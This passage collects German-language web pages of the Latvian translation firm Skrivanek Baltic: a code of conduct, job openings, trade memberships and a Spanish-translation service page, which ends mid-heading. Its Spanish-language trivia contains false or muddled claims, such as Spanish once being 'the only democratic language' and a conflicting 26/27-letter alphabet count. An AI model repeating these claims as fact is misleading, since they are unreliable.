Schule, Reise oder Beruf, das Team des Skrivanek Baltic Training Centre wird unseren Kunden bei der Verbesserung ihrer Sprachkenntnisse in Lettisch stets zur Seite stehen. Für den besten Weg, Lettisch zu lernen, kontaktieren Sie das Team des Skrivanek Baltic Training Centre und wir werden Ihnen den Lettischunterricht bieten, den Sie brauchen! --- > Die Grundsätze der Berufsethik und des Verhaltens des baltischen Sprachdienstleisters Skrivanek sind auch für unsere Kooperationspartner verbindlich. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/etikas-kodekss/ - Translation Priorities: Optional Unsere Grundsätze sind Verantwortung, Zuverlässigkeit und Ehrlichkeit. Dies sind die fundamentalen Werte, die es uns ermöglichen, verlässliche Arbeitgeber, Kooperationspartner und Vertreter unserer Branche zu sein. Wir arbeiten langfristig mit Mitarbeitern und Auftragnehmern (nachstehend „Sprachspezialisten“), Kunden, Lieferanten und anderen Kooperationspartnern zusammen. Wir verbessern und entwickeln unsere Dienstleistungen ständig im Bereich des Sprachenlernen und der Übersetzung sowie andere Bereiche, die mit dem Spracherwerb und der Texterstellung zusammenhängen. Uns ist bewusst, dass unsere Mitarbeiter und Sprachspezialisten unser wichtigstes Kapital sind, weshalb wir stets für ein offenes, ehrliches und respektvolles Arbeitsklima sorgen. Unsere Mitarbeiter und Sprachspezialisten sind für den Ruf des Unternehmens und das Ansehen des Arbeitgebers in der Gemeinschaft verantwortlich. Ziel dieses Verhaltenskodexes ist es, klare Grundsätze unserer Arbeit und Geschäftsethik, die Schlüssel unserer Tätigkeit sind, aufzustellen. Dieser Kodex wurde so verfasst, dass unsere Arbeitsprinzipien sowohl unseren Sprachspezialisten als auch unseren Kooperationspartnern gleichermaßen bekannt sind. Der Verhaltenskodex beantwortet jedoch nicht jede Frage. Wir vertrauen darauf, dass unsere Mitarbeiter und Sprachspezialisten im Interesse von Skrivanek Baltic handeln. Falls es weitere unbehandelte Fragen geben sollte, werden diese auf der Grundlage der gesetzlichen Bestimmungen und unserer drei Grundprinzipien - Verantwortung, Zuverlässigkeit und Vertrauen - gelöst. Bei weiteren Unklarheiten wird unsere Geschäftsleitung konsultiert, um notwendige Beratung einzuholen. Der Verhaltenskodex gilt für die Unternehmensleitung, jeden Mitarbeiter und jeden Sprachspezialisten gleichermaßen. Die Grundsätze dieses Verhaltenskodexes werden auch in der täglichen Zusammenarbeit mit unseren Kunden, Lieferanten und Partnern beachtet. Unsere Geschäfte achten auf die lokalen Gesetzgebungen, welche die Regeln der Geschäftstätigkeit, ehrliche Geschäftspraktiken, Arbeitsrecht, Datenschutz, Arbeitssicherheitsstandards, Steuergesetzgebung und andere Aspekte der Geschäftstätigkeit festlegt. Wir geben transparente Auskunft über unsere finanziellen Aktivitäten, sind gegen Korruption, nehmen keine unnötigen Zahlungen und Geschenke an und stehen für einen gesunden Wettbewerb. Skrivanek Baltic bemüht sich, alles Notwendige zu tun, um sicherzustellen, dass das Management, die Mitarbeiter, die Sprachspezialisten und die Partner des Unternehmens diese Regeln, Standards und Prinzipien einhalten. Wir respektieren auch die lokalen kulturellen Traditionen und halten sie ein, sofern sie nicht im Widerspruch zur Gesetzgebung stehen. Rechtsvorschriften haben stets Vorrang. Unsere Sprachspezialisten arbeiten für die Interessen von Skrivanek Baltic. Unsere Arbeit wird daran gemessen, wie verantwortungsbewusst und auf einen hochwertigen Kundenservice bedacht unsere Mitarbeiter und Sprachspezialisten sind. Wir legen Wert auf die Meinung unserer Mitarbeiter und Sprachspezialisten und ermutigen sie darin, diese auszusprechen und zu verteidigen. Dies gilt insbesondere, wenn es um unbegründete Forderungen oder inakzeptable Handlungen von Skrivanek Baltic, ihren Kunden oder Kooperationspartnern geht. Mitarbeiter und Sprachspezialisten werden ermutigt, ihren Verdacht oder ihre Sorge über mögliches böswilliges, unethisches oder anderweitig inakzeptables Verhalten zu äußern, indem sie es der Geschäftsleitung von Skrivanek Baltic melden, deren Aufgabe es ist, es zu überprüfen und - falls erforderlich - zu untersuchen und entsprechende Maßnahmen zu ergreifen, unabhängig davon, wer die beteiligten Personen sind. Wir sind stolz auf unser Arbeitsumfeld. Wir achten und fördern die Einhaltung der Menschenrechte; wir respektieren unterschiedliche Meinungen, auch in Bezug auf Religion, Politik, ethnische Zugehörigkeit und Gleichberechtigung. Die Vielfalt unserer Mitarbeiter, ihre unterschiedlichen Meinungen und Überzeugungen tragen dazu bei, dass wir ein kreatives, sich erfolgreich entwickelndes Unternehmen sind. Jede negative, aggressive oder diskriminierende Haltung gegenüber unseren Mitarbeitern, Sprachspezialisten, Kunden und Kooperationspartnern wird nicht toleriert. Der Gleichheitssatz wird bei der Einstellung von Mitarbeitern und Sprachspezialisten sowie bei der Entwicklung und Verbesserung ihrer Fähigkeiten berücksichtigt, wenn ihre Qualifikationen und die Qualität ihrer Arbeit den festgelegten Anforderungen entsprechen. Wir erfreuen uns an einem offenen Dialog unserer Mitarbeiter und Sprachspezialisten, wenn es um die Problemlösungen geht, die Beratung oder Unterstützung erfordern, und Vorschläge zur Verbesserung unserer Geschäftstätigkeit, der Kommunikation untereinander und der Qualität unserer Dienstleistungen sind stets willkommen. Kundenvertrauen steht für uns an oberster Stelle. Deshalb arbeiten wir ständig daran, uns weiterzuentwickeln und zu verbessern, einen qualitativen Kundenservice anzubieten und stets mit der Zeit zu gehen. Wir haben eine Verantwortung gegenüber unseren Kunden und verwenden Qualitätsmanagementsysteme, die wir regelmäßig überprüfen und entsprechend den Anforderungen im Bereich der Sprachdienstleistungen verbessern. Unsere Kunden werden, in Bezug auf unsere Dienstleistungen, nicht in die Irre geführt. Falls es Qualitätsprobleme geben sollte, untersuchen wir dies und nehmen bei Bedarf Verbesserungen vor. Bei Uneinigkeiten müssen die Mitarbeiter und Sprachspezialisten den zuständigen Projektmanager oder die Geschäftsführung von Skrivanek Baltic unverzüglich über die Situation informieren, die sich auf die Durchführung der Dienstleistung auswirken kann. Diese Fälle werden von der Geschäftsführung von Skrivanek Baltic vorrangig untersucht und bei Bedarf behandelt, um die Interessen von Kunden und Skrivanek Baltic zu schützen. Der Sprachspezialist ist außerdem dazu verpflichtet, den Projektmanager unverzüglich zu kontaktieren, sollten ihm Informationen oder Hilfsmitteln fehlen, um eine qualitativ hochwertigen und fristgerechten Dienstleistung sicherzustellen. Wir ermutigen unsere Sprachspezialisten auch, ihre Ideen und Vorschläge zur Sicherung und Verbesserung der Dienstleistungsqualität offen zu äußern. Unsere Marketing- und Verkaufsstrategie für Dienstleistungen basiert auf der Bereitstellung sachlicher Informationen. Wir verwenden keine beleidigende oder hasserfüllte Kommunikation in unseren Anzeigen. Unsere Kunden liegen uns am Herzen. Deshalb sind positive Bewertungen und Empfehlungen von Kunden das größte Lob für uns. Wir garantieren den Datenschutz unsere Kunden. Daten- und Informationssicherheit ist ein wichtiges Thema. Skrivanek Baltic geht mit den Informationen, die dem Unternehmen von Sprachspezialisten, Kunden und anderen Kooperationspartnern anvertraut werden, umsichtig und verantwortungsbewusst um und hält sich an die Gesetzgebung zum Daten- und Informationsschutz. Unsere Mitarbeiter und Sprachspezialisten wahren die Vertraulichkeit in Bezug auf alle Kundenunterlagen und -materialien, sofern diese Informationen nicht öffentlich zugänglich sind. Skrivanek Baltic speichert keine Informationen, die nicht für die Ausführung eines Auftrags erforderlich sind. Wir pflegen unser internes Buchhaltungssystem und unsere Cybersicherheit. Gemeinsam können wir mehr erreichen. Die Zusammenarbeit mit unseren Lieferanten ist Teil unserer langfristigen Geschäftsentwicklung. Deshalb wählen wir diese mit großer Sorgfalt aus und berücksichtigen dabei ihren Ruf, ihre verantwortungsvolle Geschäftstätigkeit und den Wunsch, unsere Zusammenarbeit auch in Zukunft fortzusetzen. Wir sind offen mit den Kriterien, nach denen wir unsere Kooperationspartner auswählen, und sind auch bereit, jenen Lieferanten, die diese Kriterien nicht erfüllen, mehr Informationen zukommen zu lassen. Wir gehen außerdem offen mit möglichen Interessenkonflikten um, denn sie können der Grund für die Ablehnung einer Zusammenarbeit sein. Skrivanek Baltic leistet alle Zahlungen auf der Grundlage von Zahlungsauftragsdokumenten und ist verantwortungsbewusst gegenüber den Zahlungen an unsere Kooperationspartner. Ein Auftrag für eine Dienstleistung oder ein Produkt muss schriftlich erteilt werden, wenn die Auftragssumme 500,00 Euro übersteigt. Wir ergreifen alle Maßnahmen, um einen angemessenen Umgang mit vertraulichen Informationen unserer Kooperationspartner zu gewährleisten, die dem Unternehmen im Rahmen der Zusammenarbeit offengelegt wurden, und wir halten uns an die von beiden Parteien vereinbarten Diskretionsvorschriften. Die Geschäftsleitung und die Sprachspezialisten von Skrivanek Baltic können kleine symbolische Geschenke erhalten oder geben, wenn sie für die Geschäftsinteressen von Skrivanek Baltic von Bedeutung sind und die gesetzlich festgelegten Normen nicht überschreiten. Die Teilnahme an Geschäftsessen von Skrivanek Baltic oder an Veranstaltungen zur Geschäftsentwicklung und -pflege, z. B. an Konferenzen und Seminaren, ist zulässig. Geldgeschenke werden nicht angenommen. Unsere Mitarbeiter und Sprachspezialisten nehmen während der Zeit, in der sie die Interessen von Skrivanek Baltic vertreten, keine Einladungen in teure Restaurants oder Unterhaltungsstätten sowie keine anderen teuren Geschenke, einschließlich Geld oder Geschenkkarten, von Kooperationspartnern an. Teure Geschenke müssen unverzüglich an den Schenkenden zurückgegeben werden, weil diese gegen den Verhaltenskodex von Skrivanek Baltic verstoßen. Wenn das Geschenk aus irgendeinem Grund nicht an den Schenker zurückgegeben werden kann, muss es der Leitung von Skrivanek Baltic übergeben werden, die es für wohltätige Zwecke verwenden wird. Die Sprachspezialisten von Skrivanek Baltic nutzen die Ressourcen des Unternehmens, einschließlich des geistigen Eigentums, zum Nutzen des Unternehmens und nicht für ihre persönlichen Interessen. Nachlässiges, fahrlässiges Verhalten, Verschwendung von Ressourcen oder Diebstahl haben direkten Einfluss auf die finanziellen Ergebnisse von Skrivanek Baltic und sind nicht erlaubt. Diese können auch strafrechtlich verfolgt werden. Wir arbeiten mit staatlichen Einrichtungen und der Regierung zusammen, vertreten unsere Branche und nehmen als solche an der Diskussion von Gemeinschaftsfragen teil. Skrivanek Baltic unterstützt, weder finanziell noch in anderer Form, politische Parteien, Politiker, politische oder religiöse Bewegungen oder Organisationen. Skrivanek Baltic achtet und respektiert die persönlichen Ansichten seiner Mitarbeiter und Sprachspezialisten und unterstützt diese, ihre politischen oder religiösen Ansichten zu äußern, solange dies nicht im Namen des Unternehmens geschieht. Das Arbeitsumfeld und die Ressourcen des Unternehmens können nicht als Plattform für persönliche Unterstützung genutzt werden. Bei der individuellen Betreuung müssen die Mitarbeiter und Sprachspezialisten das in den Rechtsvorschriften festgelegte Verfahren einhalten. Handlungen, die als rechtswidrig angesehen werden können oder der Korruption verdächtigt werden, sind nicht zulässig. Im Gegenzug unterstützt Skrivanek Baltic eine klare, professionelle und finanziell begründete Beteiligung an karitativen, kulturellen und anderen Veranstaltungen. Egal wie groß die Unterstützung ist, muss ein ausgearbeiteter Plan vorhanden sein, wie sich das Unternehmen durch eine solche Zusammenarbeit langfristig entwickeln kann und ob dies langfristig positive Auswirkungen auf die Gesellschaft hat. Skrivanek Baltic handelt mit Rücksicht auf die Umwelt. All unsere Tätigkeiten werden unter Berücksichtigung der Umwelt gemacht und machen uns Gedanken, wie jeder Mitarbeiter und Sprachspezialist einen Beitrag zum verantwortungsvollen Umgang mit den natürlichen Ressourcen leisten kann. Wir achten darauf, wie Materialien wiederverwendet, sortiert, recycelt und auf verantwortungsvolle Weise entsorgt werden können. Jede noch so kleine Maßnahme leistet seinen Beitrag, beispielsweise das Ausschalten des Lichts vor dem Verlassen des Büros. Nur die Führungskräfte unseres Unternehmens oder von ihnen bevollmächtigte Personen dürfen das Unternehmen offiziell in öffentlichen Medien oder bei Veranstaltungen vertreten. Die Führungskräfte von Skrivanek Baltic vertreten die Interessen des Unternehmens und tragen zusätzlich die Verantwortung, ethisches Verhalten vorzuleben, zu pflegen und im Unternehmen zu unterstützen. Unsere Führungskräfte haben die Aufgabe, Mitarbeiter und Sprachspezialisten zu unterstützen, Antworten auf ethische Fragen zu geben und Ehrlichkeit und Vertrauen zu fördern. Die Führungskräfte von Skrivanek Baltic dürfen unter keinen Umständen direkte oder indirekte Anweisungen erteilen und die Verletzung oder Missachtung des Verhaltenskodexes nicht unterstützen. Unsere Führungskräfte sind verpflichtet, sich mit allen ethischen Fragen zu befassen und neuen Mitarbeitern den Verhaltenskodex vertraut zu machen. Die Führungskräfte unterstützen das ethische Verhalten der Mitarbeiter und der Sprachspezialisten und stehen bei Fragen und Problemen zur Verfügung, um Antworten und Lösungen zu finden. --- > Informieren Sie sich über unsere derzeit offenen Stellen Lesen Sie unsere Anforderungen und Bedingungen für die Zusammenarbeit, um mehr über unser Einstellungsverfahren zu erfahren. - Published: 2025-01-06 - Modified: 2025-05-22 - URL: https://skrivanek.lv/karjera/ - Translation Priorities: Optional Wir wissen, wie wichtig die Qualität von Sprachlösungen ist. Deshalb arbeiten wir mit den besten Linguisten und Fachleuten zusammen. Sie können mehr über unser Einstellungsverfahren erfahren, indem Sie unsere Anforderungen und Bedingungen für die Zusammenarbeit lesen. Skrivanek Baltic verfügt auch über andere Abteilungen, in denen Übersetzungserfahrung keine Voraussetzung ist - sehen Sie sich die derzeit offenen Stellen dort an. Offene Stellen für Übersetzer: Englisch-Niederländisch Englisch-Norwegisch-Englisch Englisch-Dänisch-Englisch Englisch-Schwedisch-Englisch Englisch-Finnisch-Englisch Offenen Stellen für Korrekturleser: Niederländisch Korrekturleser Norwegisch Korrekturleser Estnisch Korrekturleser BEWERBEN SIE SICH FÜR EIN PRAKTIKUM BEI SKRIVANEK! Wenn Sie als Hauptfach Sprachwissenschaften gewählt haben wie: Anglistik, Germanistik oder Angewandte Linguistik Wenn Sie herausfinden möchten, ob der Beruf des professionellen Übersetzers das Richtige für Sie ist Wenn Sie von den Besten lernen und praxisnahe Erfahrung als Übersetzer sammeln möchten Kontaktieren Sie uns! Senden Sie Ihren Lebenslauf an lelde@skrivanek. lv und vergessen Sie nicht, „internship“ in die Betreffzeile zu schreiben. DTP-SPEZIALISTEN Anforderungen: Mindestens 2 Jahre Erfahrung in DTP-Diensten Ein relevanter Hochschulabschluss Allgemeine Kenntnisse der Druckvorbereitung und der spezifischen Gegebenheiten in einem Übersetzungsbüro Pünktlichkeit und Zuverlässigkeit bei der Ausführung der erhaltenen Aufträge Kenntnisse und Erfahrungen in der Arbeit mit Software wie z. B. : (Adobe Photoshop, Adobe Acrobat, Corel Draw, Adobe Page Maker, Adobe FrameMaker, Adobe InDesign, Adobe Illustrator, Quark Xpress, MS Office) Ein Bewerber sollte selbständig, organisiert und zielstrebig sein. Auch die erhaltenen Aufträge sollten gründlich und konsequent erledigt werden. Ein Sinn für Ästhetik und Spaß an Grafikdesign sollte ebenfalls nicht fehlen. Sie möchten mit uns zusammenarbeiten? Bitte registrieren Sie sich im Vendor Portal. HINWEIS: Bitte denken Sie daran, Ihren Lebenslauf und andere Dokumente hochzuladen, die Ihre Qualifikationen und Erfahrungen belegen (z. B. Diplome, Zeugnisse, Empfehlungsschreiben usw. ). Bitte teilen Sie uns auch mit, ob Sie Ihre Aufträge in Rechnung stellen dürfen - Im Abschnitt „zusätzliche Informationen“ können Sie eine kurze Notiz hierfür hinzufügen. Wenn wir uns nicht innerhalb von 7 Tagen nach Ihrer Registrierung im Vendor Portal mit Ihnen in Verbindung setzen, gehen Sie bitte davon aus, dass momentan kein Bedarf an den von Ihnen angebotenen Dienstleistungen besteht. Bitte fügen Sie Ihrer Bewerbung folgenden Absatz bei: "Ich stimme der Verarbeitung meiner personenbezogenen Daten für die Zwecke des Einstellungsverfahrens zu". Wegen des schnellen Wachstums unseres Unternehmens, suchen wir nach Bewerbern für folgende Stellen: Wir suchen auch Übersetzer mit Fachkenntnissen in Englisch, Deutsch und Französisch, die vertraut mit CAT-Tools sind und Nachbearbeitungen von neuronalen maschinellen Übersetzungen durchführen. Englisch Allgemeine Informatik Pharmazie und Pharmakologie Kardiologie medizinische Ausrüstung Möbelindustrie Energiewissenschaften Telekommunikation Deutsch Automatisierung / Robotik Bauingenieurswesen Elektro- und Elektronikindustrie Energiewissenschaften Automobilindustrie / Luftfahrt Pharmazie Gesundheitswesen medizinische Ausrüstung Französisch Bankwesen/ Investment Wirtschaft Allgemeine Buchhaltung Versicherung Automatisierung / Robotik Bauingenieurswesen Elektro- und Elektronikindustrie Energiewissenschaften Automobilindustrie / Luftfahrt Übersetzer, die auf die oben genannten Fachgebiete spezialisiert sind, werden priorisiert. Sie möchten mit uns zusammenarbeiten? Bitte registrieren Sie sich im Vendor Portal. HINWEIS: Bitte denken Sie daran, Ihren Lebenslauf und andere Dokumente hochzuladen, die Ihre Qualifikationen und Erfahrungen belegen (z. B. Diplome, Zeugnisse, Empfehlungsschreiben usw. ). Bitte teilen Sie uns auch mit, ob Sie Ihre Aufträge in Rechnung stellen dürfen - Im Abschnitt „zusätzliche Informationen“ können Sie eine kurze Notiz hierfür hinzufügen. Wenn wir uns nicht innerhalb von 7 Tagen nach Ihrer Registrierung im Vendor Portal mit Ihnen in Verbindung setzen, gehen Sie bitte davon aus, dass momentan kein Bedarf an den von Ihnen angebotenen Dienstleistungen besteht. Kontaktieren Sie unsere Personalabteilung: lelde@skrivanek. lv SEIT MEHR ALS 30 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2024 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate --- > Das Übersetzungsbüro Skrivanek Baltic ist Mitglied in verschiedenen Organisationen. Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-01-07 - URL: https://skrivanek.lv/sadarbibas-partneri/ - Translation Priorities: Optional SKRIVANEK BALTIC IST TEIL DER FOLGENDEN ORGANISATIONEN: AMERIKANISCHE HANDELSKAMMER (AMCHAM) IN LETTLAND DIE LETTISCHE INDUSTRIE- UND HANDELSKAMMER DIE DEUTSCH-BALTISCHE HANDELSKAMMER IN ESTLAND, LETTLAND, LITAUEN DIE SCHWEDISCHE HANDELSKAMMER IN LETTLAND EUROPÄISCHER VERBAND DER SPRACHINDUSTRIE DIE SKRIVANEK HOLDING SE IST TEIL DER FOLGENDEN INSTITUTIONEN: ATC - DER VERBAND DER ÜBERSETZUNGSUNTERNEHMEN GALA - DER VERBAND FÜR GLOBALISIERUNG UND LOKALISIERUNG ACTA - DER VERBAND DER TSCHECHISCHEN ÜBERSETZUNGSBÜROS DER VERBAND DER SPRACHGESELLSCHAFTEN D-U-N-S® (DATA UNIVERSAL NUMBERING SYSTEM) --- > Allgemeine und fachspezifische Übersetzungen, notariell beglaubigte Übersetzungen, Dolmetschen, Lokalisierung und andere Sprachdienstleistungen fürs Spanische. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS SPANISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS SPANISCHE? Die Kosten für die Übersetzung vom und ins Spanische werden für jeden Auftrag individuell berechnet. Für die Preiskalkulation werden verschiedene auftragsspezifische Faktoren berücksichtigt, z. B. richtet sich der Preis für mündliche sequentielle und simultane Übersetzungen nach der Zeit der Leistungserbringung, dem Veranstaltungsort, den Reisekosten und dem Tagessatz. Bei der Simultanübersetzung werden die Kosten für die technische Unterstützung je nach Teilnehmeranzahl der Veranstaltung usw. zusätzlich berechnet. Der Preis für schriftliche Übersetzungen setzt sich zusammen aus dem Umfang und der Lesbarkeit des übersetzten Materials, dem Abgabetermin der Übersetzung, der Komplexität der Fachterminologie, den Textwiederholungen, der Formatierung und der Komplexität der Bilder und Grafiken, der Korrektur sowie den vom Kunden gewählten Zusatzleistungen. GIBT ES EINE PREISLISTE? Ja, die Preisliste für das Übersetzen und Dolmetschen (Simultan- und Konsekutivdolmetschen) vom und ins Spanische ist fester Bestandteil unserer Kundenverträge. Die Projektmanager des Übersetzungsbüros Skrivanek Baltic bereiten jedes Mal vor Beginn eines Übersetzungsauftrages einen detaillierten Kostenvoranschlag vor. Das Preisangebot wird in etwa 30 Minuten erstellt. Der Preis für schriftliche Übersetzungen richtet sich nach der Anzahl der Wörter im Text, den Wiederholungen, der Komplexität der grafischen Elemente und anderen Faktoren. Damit Sie ein Kostenvoranschlag erhalten können, warten wir darauf, dass Sie uns Ihre zu übersetzenden Unterlagen an unsere E-Mail senden. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Spanische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in spanischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Suchen Sie nach einer Sprachdienstleistung auf Spanisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiert Unsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE SPANISCHE SPRACHE Spanisch oder Kastilisch ist eine romanische Sprache aus der indogermanischen Sprachfamilie, die von 400 Millionen Menschen auf der ganzen Welt gesprochen wird, vor allem auf der Iberischen Halbinsel und in Amerika. Gemessen an der Sprecherzahl ist Spanisch die zweithäufigste Sprache der Welt. Interessanterweise wird sie in Europa, Amerika, Afrika, Asien und sogar Ozeanien gesprochen. Spanisch ist in 21 Ländern Amtssprache. 72% der Spanier sprechen Spanisch, der Rest spricht Katalanisch, Galicisch, Baskisch oder andere Sprachen. Wenn man berücksichtigt, dass Spanisch in verschiedenen Teilen der Welt gesprochen wird, haben sich viele Varianten oder Dialekte dieser Sprach entwickelt. Der spanische Wortschatz und die Grammatik unterscheiden sich in den spanischen Städten Madrid oder Barcelona, aber in Lateinamerika sind sie noch viel unterschiedlicher. Das Spanische hat etwa 10 Dialekte, der am weitesten verbreitete ist der kastilische Dialekt, der in Schulen gelehrt wird, im Fernsehen zu hören ist und als Schriftsprache verwendet wird. Es gibt aber auch den lateinamerikanischen spanischen Dialekt, das andalusische, mexikanische, kolumbianische, karibische Spanisch, usw. Auch wenn nicht klar ist, wann das Lateinische im modernen Nord- und Zentralspanien zu Spanisch wurde, weiß man doch mit Sicherheit, dass die Sprache der kastilischen Region teilweise zu einer eigenständigen Sprache wurde, und zwar dank der Versuche von König Alfonso, die Sprache im 13. Jahrhundert als offizielle Sprache zu etablieren. Die ersten Texte der spanischen Grammatik wurden 1492 veröffentlicht, im selben Jahr, in dem Christoph Kolumbus Amerika entdeckte. Spanisch ist eine der am meist phonetischen Sprachen der Welt. Wenn man weiß, wie ein Wort geschrieben wird, dann weiß man auch automatisch dessen Aussprache. Eine Ausnahme bilden neue Fremdwörter, die in der Regel die ursprüngliche Schreibweise beibehalten. Die Königliche Spanische Akademie (Real Academia Española), die im 18. Jahrhundert gegründet wurde, gilt als die wichtigste „Hüterin“ des Hochspanischen. Sie entwickelt Wörterbücher und Grammatikhandbücher. Obwohl die Entscheidungen der Akademie keine rechtliche Wirkung haben, werden sie sowohl in Spanien als auch in Lateinamerika weitgehend befolgt. Eine der in der Akademie diskutierten Sprachreformen ist die Einführung des umgekehrten Frage- und Ausrufezeichens(¿ und ¡) im Spanischen. Neben dem Lateinischen hatte auch das Arabische einen großen Einfluss auf das Spanische. Heute hat Englisch den größten Einfluss auf Spanisch. Im Spanischen gibt es nun hunderte Lehnwörter vom Englischen, die sich auf Technologie und Kultur beziehen. Spanisch ist eine der sechs Amtssprachen in den Vereinten Nationen, in der Europäischen Union, im Mercosur, in der FIFA und in anderen internationalen Organisationen. Spanisch ist die zweitschnellste Sprache der Welt - sie hat eine Geschwindigkeit von 7,82 Silben pro Sekunde. Es wird nur knapp vom Japanischen mit einer Geschwindigkeit von 7,84 Silben pro Sekunde übertroffen. Spanisch gilt als die Sprache der Liebe. Sie war bis zum 18. Jahrhundert die einzige demokratische Sprache der Welt. DAS SPANISCHE ALPHABET Das spanische Alphabet verwendet wie die meisten europäischen Sprachen eine Variante des lateinischen Alphabets. Es besteht aus 26 Buchstaben, die auch in vielen anderen indoeuropäischen Sprachen zu finden sind, z. B. im Englischen oder Italienischen, jedoch hat es einen Buchstaben, der für das Spanische besonders ist - dasñ. Zusätzlich zu den 27 Buchstaben gibt es fünf Diphthonge oder Buchstabenkombinationen, die Laute kennzeichnen soll. Sie lauten ch, ll, rr, gu und qu. Die Rechtschreibregeln haben sich im Laufe der Geschichte stark verändert. Das moderne spanische Alphabet geht auf die Sprachreform 2010 zurück. Die neue Ortografía de la lengua española (spanische Rechtschreibung), die von der Königlichen Spanischen Akademie (Real Academia de la Lengua Española) im selben Jahr vorgestellt wurde, besagt, dass das Alphabet aus 27 Buchstaben besteht. Diphthonge sind nicht mehr Teil des Alphabets, auch wenn diese noch geschrieben werden. Der Buchstabe Ñ, den es im Lateinischen nicht gab und der in keiner anderen romanischen Sprache vertreten ist, wurde im 12. Jahrhundert von Schreibern eingeführt. Der Buchstabe diente als Abkürzung für das doppelte n, wenn sie Texte aus dem Lateinischen abschrieben. So wurde aus einem lateinischen Wort, z. B. annus, das spanische Wort año. WIE SCHWIERIG IST SPANISCH? Spanisch zu lernen wurde im 21. Jahrhundert sehr beliebt. Immer mehr Menschen wählen Spanien als Reiseziel, es gibt ein größeres Interesse an der Geschichte und den Ursprüngen der spanischen Sprache. Spanisch ist eine Sprache, die die Menschen fasziniert. Spanisch gilt als eine der am leichtesten zu erlernenden Sprachen. Es ist eine musikalische und reiche Sprache. Wenn man eine der romanischen Sprachen, Portugiesisch oder Italienisch, schon beherrscht, dann wird Spanisch eine leichtere Herausforderung darstellen. Spanisch ist eine der am leichtesten zu erlernenden Sprachen für englische Muttersprachler. Zunächst einmal verwenden beide Sprachen das gleiche Alphabet. Die Aussprache im Spanischen ist sehr einfach. Auch die Grammatik beider Sprachen ist sich ähnlich. Laut Sprachwissenschaftlern kann man schon nach 24 Monaten des täglichen Lernens ein fortgeschrittenes Sprachniveau in Spanisch erreichen. Ein großer Teil des Lernens einer Sprache besteht natürlich darin, mit dessen Sprechern umgeben zu sein, also die Sprache durch hören, lesen und sprechen zu lernen. DOLMETSCHER UND ÜBERSETZER FÜR DIE SPANISCHE SPRACHE Das Dolmetscher- und Übersetzerteam von Skrivanek übernimmt die Übersetzung von schriftlichen Standarddokumenten, komplexen technischen Übersetzungen und beglaubigten Übersetzungen. Das Übersetzungsbüro Skrivanek Baltic bietet auch das Korrekturlesen und die stilistische Verbesserung von Texten in spanischer Sprache an. Am häufigsten übersetzen wir für Geschäftskunden die folgenden Texte vom und ins Spanische: Inhalte von Websites und E-Commerce, Anpassungen von Werbeslogans, Kooperationsvereinbarungen, Rechtsakte, Gerichtsurteile und Geschäftsunterlagen. Wir übersetzen auch sequentiell in geschäftliche oder andere Arten von Gesprächen, Konferenzen und Veranstaltungen auf Zoom. Für Privatpersonen übersetzen wir persönliche Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. WO UND WIE VIELE MENSCHEN SPRECHEN SPANISCH? 600 Millionen auf der Welt sprechen Spanisch. Es ist die Muttersprache von etwa 400 Millionen Menschen. Spanisch ist in 21 Ländern Amtssprache: Mexiko, Kolumbien, Spanien, Argentinien, Venezuela, Peru, Chile, Ecuador, Guatemala, Kuba, Dominikanische Republik, Honduras, Bolivien, El Salvador, Nicaragua, Paraguay, Costa Rica, Uruguay, Panama, Äquatorialguinea und Puerto Rico. Es gibt 10 Länder, in denen Spanisch nicht Amtssprache ist, sondern einen Sonderstatus hat: Andorra, Belize, Brasilien, Gibraltar, Marokko, die Philippinen, Trinidad und Tobago, die USA, Vatikanstadt und die Westsahara. Es wird als Diaspora-Sprache in Kanada, Australien, dem Vereinigten Königreich, Frankreich, der Schweiz, Deutschland, Israel, Italien und Algerien gesprochen. DIE SPANISCHE SPRACHE IM 